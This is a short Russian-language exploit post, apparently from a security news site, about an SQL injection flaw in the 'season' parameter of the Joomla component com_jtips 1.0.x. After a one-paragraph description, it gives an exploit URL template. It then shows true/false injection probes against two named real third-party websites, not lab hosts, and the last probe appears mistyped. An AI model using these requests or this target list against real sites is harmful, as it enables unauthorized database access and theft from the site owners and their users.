Программа: Joomla Component com_jtips 1.0.x

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «season» сценарием index.php. Удаленный
пользователь может с помощью специально сформированного запроса выполнить
произвольные SQL команды в базе данных приложения.

Эксплоит:

http://localhost/path/index.php?option=com_jtips&Itemid=1&task=ladder&season=2[SQL
code]

Демонстрация 1:

http://www.brotherspjrlc.com.au/index.php?option=com_jtips&Itemid=1&task=ladder&season=2+and+1=1
True !!!!

http://www.brotherspjrlc.com.au/index.php?option=com_jtips&Itemid=1&task=ladder&season=2+and+1=2
False !!!

Демонстрация 2:

http://highfields.info/index.php?option=com_jtips&Itemid=2&task=ladder&season=1+and+1=1
True !!!

http://highfields.info/index.php?option=com_jtips&Itemid=2&task=ladder&season=1+and+1=!



Оставить мнение